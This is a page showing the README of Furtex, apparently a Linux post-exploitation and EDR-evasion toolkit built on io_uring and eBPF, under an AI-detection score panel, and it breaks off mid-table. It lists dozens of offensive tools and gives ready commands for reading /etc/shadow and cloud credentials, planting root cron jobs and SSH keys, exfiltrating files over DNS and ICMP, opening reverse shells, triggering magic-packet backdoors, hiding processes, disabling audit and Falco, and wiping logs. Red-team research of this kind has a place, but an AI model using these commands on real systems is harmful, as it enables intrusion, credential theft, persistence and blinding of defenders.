Skip to content
HN On Hacker News ↗

GitHub - MatheuZSecurity/Furtex: Post-exploitation and evasion research toolkit for Linux.

▲ 18 points • 2 comments • by matheuzsec_ • 4mo ago • HN discussion ↗

Pangram verdict · v3.3

We believe that this document is a mix of AI-generated, AI-assisted, and human-written content

37 %

AI likelihood · overall

Mixed
67% human-written 29% AI-generated
SEGMENTS · HUMAN 4 of 8
SEGMENTS · AI 3 of 8
WORD COUNT 1,335
PEAK AI % 99% · §3
Analyzed
Jul 21
backend: pangram/v3.3
Segments scanned
8 windows
avg 167 words each
Distribution
67 / 29%
human / AI fraction
Verdict
Mixed
Pangram v3.3

Article text · 1,335 words · 8 segments analyzed

Human AI-generated
§1 Human · 23%

Post-exploitation and evasion research toolkit for Linux, built around io_uring and eBPF. No liburing, no frameworks, raw syscalls throughout. More tools soon. PRs are welcome. Join in Rootkit Researchers

https://discord.gg/66N5ZQppU7

For authorized research and red team engagements only. Don't run this on systems you don't own.

Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

Requirements Toolchain

tool needed for

gcc all userspace binaries

clang ebpf/*.bpf.c BPF-side programs

make build system

Headers and libraries

package needed for

linux-headers-$(uname -r) <linux/bpf.h>, <linux/io_uring.h> and related kernel headers

libbpf-dev <bpf/bpf_helpers.h> and friends used in ebpf/ programs

bpftool generate vmlinux.h via make vmlinux inside ebpf/

On Debian/Kali/Ubuntu: sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool Kernel versions

minimum what it unlocks

5.4 io_uring base (IORING_FEAT_SINGLE_MMAP, BPF map iteration)

5.6 IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)

5.8 CAP_BPF + CAP_PERFMON split (replaces CAP_SYS_ADMIN for BPF)

5.9 BPF_LINK_DETACH (bpf_link_detach)

5.19 IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

Capabilities

§2 AI · 87%

capability tools that require it

CAP_BPF (or CAP_SYS_ADMIN pre-5.8) all bpf/ tools, ebpf/ loaders

CAP_PERFMON ebpf/ tracepoint and kprobe programs

CAP_NET_RAW icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger

CAP_NET_ADMIN xdp_socket_send, netfilter_flush

CAP_AUDIT_CONTROL audit_kill

BTF must be enabled in the kernel (CONFIG_DEBUG_INFO_BTF=y) to run make vmlinux for ebpf/ programs. On distros with older libc-dev headers (Ubuntu 22.04 etc.) you may need #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Already handled in this repo. Build

command builds

make all everything

make uring io_uring/ only

make bpf bpf/ userspace tools

make ebpf BPF-side programs (needs clang + libbpf)

make edrs all edrs/ binaries

make techniques Falco bypass tools

make clean remove all binaries

edrs/ has its own sub-Makefile with ~75 binaries split by privilege: cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

See PRIVILEGES.md for the full breakdown. io_uring bypass coverage io_uring SQEs go through the kernel workqueue. io_uring_enter(2) never calls through sys_call_table, never fires sys_enter_* tracepoints, and never hits livepatch on native_sys_call. That alone kills a large class of EDR hooks without touching anything. What io_uring bypasses on its own:

hook point note

sys_call_table pointer replacement io_uring never goes through the syscall table

livepatch on native_sys_call / compat_sys_call same reason

sys_enter_* tracepoints workqueue path, no tracepoint fires

What io_uring does NOT bypass on its own (needs an active tool):

hook point tool what the tool does

kprobes on vfs_read, security_file_open, etc.

§3 AI · 99%

ftrace_enum removes the kprobe hooks

BPF LSM / KRSI bpf_link_detach detaches the BPF link

Linux audit audit_kill disables auditd via NETLINK_AUDIT

LD_PRELOAD / PLT-GOT patches plt_unhook removes the userland hooks

netfilter OUTPUT / conntrack af_packet_shell uses AF_PACKET at layer 2, skips netfilter

inet_stream_connect hooks udp_shell uses UDP, never calls tcp connect path

io_uring/ iouring_utils.h handles ring setup without liburing.

binary what it does

file_read OPENAT+READ+CLOSE chain via io_uring, no sys_enter_read event

file_write OPENAT+WRITE+CLOSE chain

file_append same as file_write but O_APPEND, offset -1

net_connect SOCKET+CONNECT+SEND+RECV in one ring

net_reverse_shell reverse shell over io_uring CONNECT

multifile_read up to 64 files in one SQE batch

memfd_exec stream ELF via stdin into memfd, execve via /proc/self/fd

proc_inject JIT injection via /proc/PID/mem; ptrace injection (--ptrace flag)

pipe_splice SPLICE kernel-to-kernel, userspace hooks never see bytes

inotify_bypass_watch io_uring READ does not raise IN_ACCESS/IN_OPEN

dns_exfil hex-encode data as DNS query labels over io_uring SENDMSG

af_packet_send raw Ethernet via AF_PACKET (IORING_OP_SOCKET, bypasses inet path)

xdp_socket_send raw frame via AF_XDP + UMEM ring, bypasses netfilter entirely

./io_uring/file_read /etc/shadow ./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh" ./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..." ./io_uring/net_connect 10.0.0.1 4444 "ping"

§4 AI · 96%

./io_uring/net_reverse_shell 192.168.1.1 4444 ./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials cat payload | ./io_uring/memfd_exec [args...] ./io_uring/pipe_splice /etc/shadow /tmp/out ./io_uring/inotify_bypass_watch /var/log/auth.log ./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject sudo ./io_uring/proc_inject <pid> sudo ./io_uring/proc_inject <pid> <shellcode_hex> sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload" sudo ./io_uring/xdp_socket_send eth0 <hex-frame> bpf/ Most tools require CAP_BPF. env_exfil works unprivileged. icmp_trigger requires CAP_NET_RAW instead of CAP_BPF.

binary what it does

map_recon list all loaded BPF maps

map_dumper dump map contents by ID

map_write update map entries by ID

map_poison zero Falco's interesting_sys entries around a payload

prog_recon list BPF programs: type, name, map count

pid_allowlist insert PID into an EDR allowlist map

edr_fin score loaded BPF maps/programs against known EDR heuristics

lsm_check detect active BPF LSM hooks and test if map writes are blocked

bpf_persist pin/retrieve/unpin

§5 Mixed · 61%

maps and programs on bpffs

map_snapshot save and restore map contents to a binary file

env_exfil read /proc/*/environ for secrets

bpf_link_detach enumerate and detach BPF links (removes LSM hooks)

link_update redirect a BPF link to a no-op program (hook stays visible, fires nothing)

map_freeze freeze a BPF map read-only via BPF_MAP_FREEZE (writes return -EPERM)

icmp_trigger ICMP magic-packet backdoor; spawns reverse shell via socketpair relay; masquerades as kworker/u4:2

sudo ./bpf/map_recon sudo ./bpf/map_dumper 42 --ascii sudo ./bpf/map_write <map_id> <key_hex> <val_hex> sudo ./bpf/prog_recon --maps --lsm-only sudo ./bpf/edr_fin sudo ./bpf/lsm_check <map_id> sudo ./bpf/pid_allowlist <map_id> [pid] sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map sudo ./bpf/bpf_persist list /sys/fs/bpf sudo ./bpf/map_snapshot save <prog_id> snap.bin sudo ./bpf/map_snapshot restore snap.bin ./bpf/env_exfil --filter AWS sudo

§6 Human · 5%

./bpf/bpf_link_detach list --lsm-only sudo ./bpf/bpf_link_detach detach-lsm --dry-run sudo ./bpf/link_update <link_id> sudo ./bpf/map_freeze <map_id> sudo ./bpf/map_freeze --prog <name_substr> sudo ./bpf/icmp_trigger --daemon sudo ./bpf/icmp_trigger --send <target> <c2_ip> <c2_port>

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444 ebpf/ Requires clang + libbpf + vmlinux.h. Run make vmlinux inside ebpf/ to generate from the running kernel's BTF.

file what it does

exec.bpf.c tracepoint on sys_enter_execve

fentry_open.bpf.c tracepoint on sys_enter_openat

creds.bpf.c track openat+read on credential paths

keylog.bpf.c input event tracepoint, raw keycode capture

net.bpf.c sys_enter_connect logging

net_hide.bpf.c hide ports from /proc/net/tcp and /proc/net/udp

proc_hide.bpf.c hide PIDs from getdents64 output

tty_sniff.bpf.c capture stdin/stdout/stderr writes and reads

skf_c2_runner.c ICMP C2 via classic BPF socket filter

xdp_backdoor.bpf.c + xdp_handler.c XDP trigger on magic UDP packet

sudo ./bpf/map_write <hidden_ports_id> 5c11 01 sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner ping -p 4d41474900$(printf

§7 Human · 2%

'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id> echo -n 'MAGICid' | nc -u -q1 <target> 31337 edrs/

binary root technique

edr_recon yes 12-vendor EDR detector: processes, artifacts, modules, BPF, kprobes

bpf_prog_recon yes enumerate loaded BPF programs, maps, and kprobes

bpf_map_wipe yes wipe BPF map entries

bpf_detach_all yes detach all BPF links

tetragon_blind yes scan, freeze, thaw, kill or blind Tetragon/Falco processes

ftrace_enum yes enumerate and clear kprobe/ftrace hooks

lkm_unload yes unload kernel modules

lkm_inline_detect yes detect inline kernel hooks

perf_bpf_kill yes enumerate and kill Falco perf-event BPF programs

module_recon yes enumerate kernel modules

cgroup_freeze yes freeze/thaw process via cgroup v2

oom_cage yes set oom_score_adj for self or target

sysctl_blind yes read/write security-relevant sysctls

audit_kill yes disable/throttle Linux audit via NETLINK_AUDIT

inotify_exhaust yes consume all inotify watches

netfilter_flush yes flush netfilter chains

dmesg_wipe yes clear kernel ring buffer

ld_so_preload yes manipulate /etc/ld.so.preload

proc_hide yes hide /proc/PID via bind-mount

§8 Human · 9%

mount_over yes bind-mount over arbitrary paths

log_wipe yes truncate log files and shell history

elf_infect yes PT_NOTE to PT_LOAD parasite injection

proc_mem_inject yes pwrite to /proc/PID/mem, no ptrace attach

af_packet_shell yes raw Ethernet C2 bypassing netfilter OUTPUT

icmp_tunnel yes exfil via ICMP echo-request payload

event_flood yes event flood around payload to saturate monitor

livepatch_bypass yes io_uring past livepatch hooks on syscall dispatcher

livepatch_stack_blind yes disable livepatch + BPF kprobe + netfilter hook stack; module unload via comm spoofing

lsm_authlink_blind yes disable LSM auth-link flows, freeze or kill auth agent, write via inode swap

lsm_callback_bypass yes bypass LSM callbacks via pidfd_getfd, process_vm_writev, perf+BPF attach, new netns

bpf_fim_blind yes freeze BPF FIM sensor, wipe ring-buffer map entries, flood ringbuf

syscall_dispatch_bypass yes io_uring file/net ops bypassing kprobes on syscall dispatch and livepatch do_syscall_64

bpf_kprobe_bypass yes io_uring file/net/exec ops bypassing _x64_sys* kprobe targets

ptrace_inject_so yes load .so into live process via ptrace + dlopen

uring_stealth no file/net ops via io_uring, no sys_enter_* events

openat2_bypass no alternative syscalls (openat2, copy_file_range)

ptrace_selfguard no block external ptrace via guardian process

plt_unhook no detect and bypass PLT-GOT hooks via dlmopen

fexecve_drop no ELF into memfd,